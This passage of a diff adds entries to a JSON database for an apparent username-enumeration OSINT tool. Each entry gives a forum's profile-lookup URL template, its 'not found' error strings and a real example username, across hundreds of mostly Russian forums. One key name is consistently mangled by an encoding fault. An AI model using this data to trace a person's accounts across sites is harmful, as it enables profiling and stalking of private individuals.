+ "url": "http://forum.sanatorii.by/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.sanatorii.by", + "usernameON": "pavlovich", + "bad_site": "" + }, + "Forum_sannata": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.phantom.sannata.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.phantom.sannata.org", + "usernameON": "RafGul", + "bad_site": "" + }, + "Forum_santacruz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.santacruzforums.com/members/?username={}", + "urlMain": "https://www.santacruzforums.com", + "usernameON": "cargonaut", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_santechniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "action=\"./ucp.php?mode=login\">", + "errorTyp��": "message", + "url": "https://santechniki.com/memberlist.php?username={}", + "urlMain": "https://santechniki.com", + "usernameON": "Murza74", + "bad_site": "" + }, + "Forum_santehnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://сантехсвар.рф/search.php?keywords=&terms=all&author={}", + "urlMain": "http://сантехсвар.рф", + "usernameON": "SVAR", + "bad_site": "" + }, + "Forum_sape": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.sape.ru/member.php?username={}", + "urlMain": "http://forum.sape.ru", + "usernameON": "Nike99", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_saranskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "pr('','','',''", + "errorMsg2": "профиль
    ", + "errorTyp��": "message", + "url": "https://saranskchess.forum24.ru/?32-{}", + "urlMain": "https://saranskchess.forum24.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_Sat-prof_BLOCK_RU_IP": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sat-prof.com.ua/member.php?username={}", + "urlMain": "https://sat-prof.com.ua", + "usernameON": "kreshnot", + "bad_site": "" + }, + "Forum_satisfacktion": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://satisfacktion.ucoz.ru/index/8-0-{}", + "urlMain": "https://satisfacktion.ucoz.ru", + "usernameON": "satisfacktion", + "bad_site": "" + }, + "Forum_sauna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.saunaforums.com/forums/users/{}/", + "urlMain": "https://www.saunaforums.com", + "usernameON": "rick", + "comments": "cf", + "bad_site": 1 + }, + "Forum_saunabauen": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden Ergebnisse gefunden", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.saunabauen.de/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.saunabauen.de", + "usernameON": "klaus", + "bad_site": "" + }, + "Forum_savasleyka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://savasleyka.ru/index/8-0-{}", + "urlMain": "http://savasleyka.ru", + "usernameON": "catalogs123123", + "bad_site": "" + }, + "Forum_say7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://forum.say7.info/search.php?search_author={}", + "urlMain": "https://forum.say7.info", + "usernameON": "Fia-Lka", + "bad_site": "" + }, + "Forum_sayyod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sayyod.com/index/8-0-{}", + "urlMain": "http://sayyod.com/", + "usernameON": "mushkulsavdo", + "bad_site": "" + }, + "Forum_sc2mafia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sc2mafia.com/forum/member.php/?username={}", + "urlMain": "https://www.sc2mafia.com", + "usernameON": "Gikkle", + "bad_site": "" + }, + "Forum_scalemodeladdict": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scalemodeladdict.com/members/?username={}", + "urlMain": "https://www.scalemodeladdict.com", + "usernameON": "spruecutter", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scb.ucoz.ru/index/8-0-{}", + "urlMain": "https://scb.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_school-1130": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school-1130.ucoz.ru/index/8-0-{}", + "urlMain": "https://school-1130.ucoz.ru", + "usernameON": "KPECT", + "bad_site": "" + }, + "Forum_school74": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://school74.ucoz.ru/index/8-0-{}", + "urlMain": "https://school74.ucoz.ru", + "usernameON": "Ruike", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_school87": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school87.clan.su/index/8-0-{}", + "urlMain": "https://school87.clan.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_scienceforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.scienceforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.com", + "usernameON": "rohan232323", + "bad_site": "" + }, + "Forum_scienceforumsnet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "your search. Try broadening your criteria", + "errorTyp��": "message", + "url": "https://www.scienceforums.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_sciforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sciforums.com/members/?username={}", + "urlMain": "https://www.sciforums.com", + "usernameON": "billvon", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scimarche": { + "country": "🇮🇹", + "country_klas": "IT", + "errorTyp��": "status_code", + "url": "https://www.scimarche.it/membri/{}/", + "urlMain": "https://www.scimarche.it", + "usernameON": "jonathan", + "bad_site": "" + }, + "Forum_sciphysicsforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "http://www.sciphysicsforums.com/spfbb1/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.sciphysicsforums.com", + "usernameON": "FrediFizzx", + "bad_site": "" + }, + "Forum_scompaginando": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Questo utente non è registrato", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.scompaginando.it/member.php?username={}", + "urlMain": "http://www.scompaginando.it", + "usernameON": "Enribello", + "bad_site": "" + }, + "Forum_scooterista": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scooterista.ru/index/8-0-{}", + "urlMain": "https://scooterista.ru", + "usernameON": "Dreamer", + "bad_site": "" + }, + "Forum_scotchmaltwhisky": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.scotchmaltwhisky.co.uk/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.scotchmaltwhisky.co.uk", + "usernameON": "William", + "bad_site": "" + }, + "Forum_scrambler": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scramblerforum.com/members/?username={}", + "urlMain": "https://www.scramblerforum.com", + "usernameON": "fatrob", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_scrapbookcampus": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://scrapbookcampus.com/invision/search/?q={}&quick=1&type=core_members", + "urlMain": "https://scrapbookcampus.com", + "usernameON": "jacques", + "bad_site": "" + }, + "Forum_scriptmen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scriptmen.ucoz.ru/index/8-0-{}", + "urlMain": "https://scriptmen.ucoz.ru", + "usernameON": "reix24", + "bad_site": "" + }, + "Forum_scripts-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scripts-money.clan.su/index/8-0-{}", + "urlMain": "https://scripts-money.clan.su", + "usernameON": "Diamond00744", + "bad_site": "" + }, + "Forum_scssoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.scssoft.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.scssoft.com", + "usernameON": "B787", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scuba": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.scuba-divers.ru/memberlist.php?username={}", + "urlMain": "http://forum.scuba-divers.ru/", + "usernameON": "bubonic", + "bad_site": "" + }, + "Forum_se-forever": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-forever.ucoz.com/index/8-0-{}", + "urlMain": "https://se-forever.ucoz.com", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_se-style": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-style.3dn.ru/index/8-0-{}", + "urlMain": "https://se-style.3dn.ru/", + "usernameON": "qwerty2244", + "bad_site": "" + }, + "Forum_se-zver": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-zver.ucoz.net/index/8-0-{}", + "urlMain": "https://se-zver.ucoz.net", + "usernameON": "magwrisK", + "bad_site": "" + }, + "Forum_se7ensins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.se7ensins.com/members/?username={}", + "urlMain": "https://www.se7ensins.com", + "usernameON": "mocolos", + "comments": "super", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_seabreeze": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.seabreeze.com.au/Members/Profile/Details.aspx?member={}", + "urlMain": "https://www.seabreeze.com.au", + "usernameON": "surfanimal", + "bad_site": "" + }, + "Forum_searchengines": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "
    ", + "errorMsg2": "class=\"nothing-found__title", + "errorTyp��": "message", + "url": "https://searchengines.guru/ru/search?keyword=&author={}&sortByDate=false", + "urlMain": "https://searchengines.guru", + "usernameON": "LevShliman", + "bad_site": "" + }, + "Forum_sebezh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>
    403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://secure-net.ucoz.ru/index/8-0-{}", + "urlMain": "https://secure-net.ucoz.ru", + "usernameON": "hcurcl", + "bad_site": "" + }, + "Forum_segaxtreme": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://segaxtreme.net/members/?username={}", + "urlMain": "https://segaxtreme.net", + "usernameON": "bluemoon95", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_selfsufficientculture": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.selfsufficientculture.com/members/?username={}", + "urlMain": "https://www.selfsufficientculture.com", + "usernameON": "daveb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sell-akk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sell-akk.at.ua/index/8-0-{}", + "urlMain": "http://sell-akk.at.ua", + "usernameON": "apelsin", + "bad_site": "" + }, + "Forum_semenovka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://semenovka.at.ua/index/8-0-{}", + "urlMain": "http://semenovka.at.ua", + "usernameON": "semenovka", + "bad_site": "" + }, + "Forum_semerkainfo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg3": "Вам закрыт доступ к конференции.", + "errorTyp��": "message", + "url": "http://www.semerkainfo.ru/forum/memberlist.php?username={}", + "urlMain": "http://www.semerkainfo.ru", + "usernameON": "DJTigra", + "bad_site": "" + }, + "Forum_semperficatholic": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://semperficatholic.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://semperficatholic.com", + "usernameON": "MarieT", + "bad_site": "" + }, + "Forum_seniorforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.seniorforums.com/members/?username={}", + "urlMain": "https://www.seniorforums.com", + "usernameON": "pinky", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_sens": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sens.ucoz.ru/index/8-0-{}", + "urlMain": "https://sens.ucoz.ru", + "usernameON": "AlexSpain", + "bad_site": "" + }, + "Forum_serebropol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebropol.ucoz.ru/index/8-0-{}", + "urlMain": "https://serebropol.ucoz.ru", + "usernameON": "kedrdek", + "bad_site": "" + }, + "Forum_serebryansk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebryansk.online/index/8-0-{}", + "urlMain": "https://serebryansk.online", + "usernameON": "Luintil", + "bad_site": "" + }, + "Forum_serega363": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serega363.ucoz.ru/index/8-0-{}", + "urlMain": "https://serega363.ucoz.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_serenesforest": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.serenesforest.net/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.serenesforest.net", + "usernameON": "Jedi", + "bad_site": "" + }, + "Forum_serial1": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.serial1forum.com/members/?username={}", + "urlMain": "https://www.serial1forum.com", + "usernameON": "sunti", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_serien": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serienforum.com/search/?&q={}&type=core_members", + "urlMain": "https://www.serienforum.com", + "usernameON": "Redaktion", + "bad_site": "" + }, + "Forum_serioussite": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.serioussite.ru/index/8-0-{}", + "urlMain": "https://www.serioussite.ru", + "usernameON": "tisomard", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_serpentes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serpentes.ru/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://www.serpentes.ru", + "usernameON": "TRexfood", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_server1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://server1.ucoz.net/index/8-0-{}", + "urlMain": "https://server1.ucoz.net", + "usernameON": "Arthurunige", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_servethehome": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.servethehome.com/index.php?members/&username={}", + "urlMain": "https://forums.servethehome.com", + "usernameON": "chlastakov", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_servicestack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.servicestack.net/u/{}/summary", + "urlMain": "https://forums.servicestack.net/", + "usernameON": "lai", + "bad_site": "" + }, + "Forum_serwis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serwis.ucoz.ru/index/8-0-{}", + "urlMain": "https://serwis.ucoz.ru", + "usernameON": "sigushki", + "bad_site": "" + }, + "Forum_setcombg": { + "country": "🇧🇬", + "country_klas": "BG", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "<meta name=\"robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://forum.setcombg.com/members/{}.html", + "urlMain": "https://forum.setcombg.com", + "usernameON": "ganev", + "bad_site": "" + }, + "Forum_setter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://setter.borda.ru/?32-{}", + "urlMain": "https://setter.borda.ru", + "usernameON": "veronika12", + "bad_site": "" + }, + "Forum_sev-kav": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sev-kav.clan.su/index/8-0-{}", + "urlMain": "https://sev-kav.clan.su", + "usernameON": "tbes50203", + "bad_site": "" + }, + "Forum_sevenstring": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sevenstring.org/members/?username={}", + "urlMain": "https://sevenstring.org", + "usernameON": "maxofmetal", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_severushermione": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://severushermione.clan.su/index/8-0-{}", + "urlMain": "http://severushermione.clan.su", + "usernameON": "Olias", + "bad_site": "" + }, + "Forum_severussnape": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>СЕВАСТОПОЛЬСКИЙ ФОРУМ - Информация", + "errorTyp��": "message", + "url": "https://www.sevportal.info/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.sevportal.info", + "usernameON": "DarkWillow", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_sexchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://onlinefreechat.com/forum/members/?username={}", + "urlMain": "https://onlinefreechat.com", + "usernameON": "honeybear", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sexforum_top": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ru.sexforum.top/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ru.sexforum.top", + "usernameON": "Vzrosliy", + "bad_site": "" + }, + "Forum_sffworld": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sffworld.com/forum/members/?username={}", + "urlMain": "https://www.sffworld.com", + "usernameON": "redmage", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sfinx-cats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://sfinx-cats.ucoz.ru/index/8-0-{}", + "urlMain": "http://sfinx-cats.ucoz.ru", + "usernameON": "Meggikliri", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sgvavia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sgvavia.ru/index/8-0-{}", + "urlMain": "https://www.sgvavia.ru", + "usernameON": "alla22", + "bad_site": "" + }, + "Forum_shaman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shaman.3dn.ru/index/8-0-{}", + "urlMain": "https://shaman.3dn.ru", + "usernameON": "vtaletkhfr", + "bad_site": "" + }, + "Forum_shanse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanse.ucoz.com/index/8-0-{}", + "urlMain": "https://shanse.ucoz.com", + "usernameON": "Юлия", + "bad_site": "" + }, + "Forum_shanson": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanson.ucoz.ru/index/8-0-{}", + "urlMain": "https://shanson.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_shatoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sherlar.3dn.ru/index/8-0-{}", + "urlMain": "https://sherlar.3dn.ru", + "usernameON": "dugimmump", + "bad_site": "" + }, + "Forum_shiachat": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.shiachat.com/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.shiachat.com", + "usernameON": "Hameedeh", + "bad_site": "" + }, + "Forum_shiftdelete": { + "country": "🇹🇷", + "country_klas": "TR", + "errorTyp��": "redirection", + "url": "https://forum.shiftdelete.net/uyeler/?username={}", + "urlMain": "https://forum.shiftdelete.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_shiptext": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shiptext.ucoz.ru/index/8-0-{}", + "urlMain": "https://shiptext.ucoz.ru", + "usernameON": "Taruto", + "bad_site": "" + }, + "Forum_shirokovskaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://широковская.рф/index/8-0-{}", + "urlMain": "http://широковская.рф", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_shkola-letovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkola-letovo.my1.ru/index/8-0-{}", + "urlMain": "https://shkola-letovo.my1.ru", + "usernameON": "belkazalesskaya", + "bad_site": "" + }, + "Forum_shkolnikov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkolnikov.clan.su/index/8-0-{}", + "urlMain": "https://shkolnikov.clan.su", + "usernameON": "Adelamow", + "bad_site": "" + }, + "Forum_shkval": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shoubiz.my1.ru/index/8-0-{}", + "urlMain": "https://shoubiz.my1.ru", + "usernameON": "eagles_yar", + "bad_site": "" + }, + "Forum_shumka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://shumka.at.ua/index/8-0-{}", + "urlMain": "http://shumka.at.ua", + "usernameON": "vikadroyp08", + "bad_site": "" + }, + "Forum_shustrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shustrov.clan.su/index/8-0-{}", + "urlMain": "https://shustrov.clan.su", + "usernameON": "Crayulin", + "bad_site": "" + }, + "Forum_shuumm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": 